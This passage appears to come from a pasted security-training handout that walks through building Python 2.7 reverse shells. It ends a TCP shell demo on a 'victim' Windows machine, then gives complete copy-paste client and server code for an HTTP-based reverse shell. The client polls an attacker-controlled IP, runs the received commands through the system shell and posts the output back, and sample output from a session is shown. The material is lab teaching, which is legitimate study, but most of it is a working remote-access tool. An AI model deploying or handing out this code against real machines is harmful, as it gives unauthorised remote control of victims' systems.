  2936. ----------------------------------------------------------------------
  2937.  
  2938. - First run server.py code from Ubuntu machine. From command line type:
  2939.  
  2940. ---------------------------Type This-----------------------------------
  2941.  
  2942. python server.py
  2943.  
  2944. ----------------------------------------------------------------------
  2945.  
  2946. - then check if 8080 port is open, and if we are listening on 8080:
  2947.  
  2948. ---------------------------Type This-----------------------------------
  2949.  
  2950. netstat -antp | grep "8080"
  2951.  
  2952. ----------------------------------------------------------------------
  2953.  
  2954. - Then on victim ( Windows ) unit run client.py code.
  2955.  
  2956.  
  2957. - Connection will be established, and you will get a shell on Ubuntu:
  2958.  
  2959. ---------------------------Type This-----------------------------------
  2960.  
  2961. infosecaddicts@ubuntu:~$ python server.py
  2962. [+] We got a connection from: ('192.168.243.1', 56880)
  2963. Shell> arp -a
  2964.  
  2965. Shell> ipconfig
  2966.  
  2967. Shell> dir
  2968. ----------------------------------------------------------------------
  2969.  
  2970.  
  2971. ##########################################
  2972. # HTTP based reverse shell in Python 2.7 #
  2973. ##########################################
  2974.  
  2975.  
  2976. - The easiest way to install python modules and keep them up-to-date is with a Python-based package manager called Pip
  2977. - Download get-pip.py from https://bootstrap.pypa.io/get-pip.py on your Windows machine
  2978.  
  2979. Then run python get-pip.py from command line. Once pip is installed you may use it to install packages.
  2980.  
  2981. - Install requests package:
  2982. ---------------------------Type This-----------------------------------
  2983.  
  2984. python -m pip install requests
  2985.  
  2986. ----------------------------------------------------------------------
  2987.  
  2988. - Copy and paste below code into client_http.py on your Windows machine:
  2989.  
  2990. - In my case server/ubuntu IP is 192.168.243.150. You need to change IP to your server address, in both codes (client_http.py, server_HTTP.py)
  2991.  
  2992. ---------------------------Paste This-----------------------------------
  2993. # Client
  2994.  
  2995. import requests
  2996. import subprocess
  2997. import time
  2998.  
  2999.  
  3000. while True:
  3001. req = requests.get('http://192.168.243.150')
  3002. command = req.text
  3003.  
  3004. if 'terminate' in command:
  3005. break
  3006.  
  3007. else:
  3008. CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  3009. post_response = requests.post(url='http://192.168.243.150', data=CMD.stdout.read() )
  3010. post_response = requests.post(url='http://192.168.243.150', data=CMD.stderr.read() )
  3011.  
  3012. time.sleep(3)
  3013.  
  3014.  
  3015.  
  3016.  
  3017. ----------------------------------------------------------------------
  3018.  
  3019.  
  3020.  
  3021. - Copy and paste below code into server_HTTP.py on your Ubuntu unit (server):
  3022.  
  3023.  
  3024. ---------------------------Paste This-----------------------------------
  3025.  
  3026. import BaseHTTPServer
  3027. HOST_NAME = '192.168.243.150'
  3028. PORT_NUMBER = 80
  3029. class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  3030.  
  3031. def do_GET(s):
  3032. command = raw_input("Shell> ")
  3033. s.send_response(200)
  3034. s.send_header("Content-type", "text/html")
  3035. s.end_headers()
  3036. s.wfile.write(command)
  3037.  
  3038.  
  3039. def do_POST(s):
  3040. s.send_response(200)
  3041. s.end_headers()
  3042. length = int(s.headers['Content-Length'])
  3043. postVar = s.rfile.read(length)
  3044. print postVar
  3045.  
  3046. if __name__ == '__main__':
  3047. server_class = BaseHTTPServer.HTTPServer
  3048. httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
  3049.  
  3050. try:
  3051. httpd.serve_forever()
  3052. except KeyboardInterrupt:
  3053. print'[!] Server is terminated'
  3054. httpd.server_close()
  3055.  
  3056. ----------------------------------------------------------------------
  3057.  
  3058. - run server_HTTP.py on Ubuntu with next command:
  3059.  
  3060. ---------------------------Type This-----------------------------------
  3061.  
  3062. infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
  3063.  
  3064. ----------------------------------------------------------------------
  3065.  
  3066.  
  3067. - on Windows machine run client_http.py
  3068.  
  3069. - on Ubuntu you will see that connection is established:
  3070.  
  3071. ---------------------------Type This-----------------------------------
  3072.  
  3073. infosecaddicts@ubuntu:~$ sudo python server_HTTP.py
  3074. Shell> dir
  3075. ----------------------------------------------------------------------
  3076.  
  3077. 192.168.243.1 - - [25/Sep/2017 12:21:40] "GET / HTTP/1.1" 200 -
  3078. 192.168.243.1 - - [25/Sep/2017 12:21:40] "POST / HTTP/1.1" 200 -
  3079. Volume in drive C has no label.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement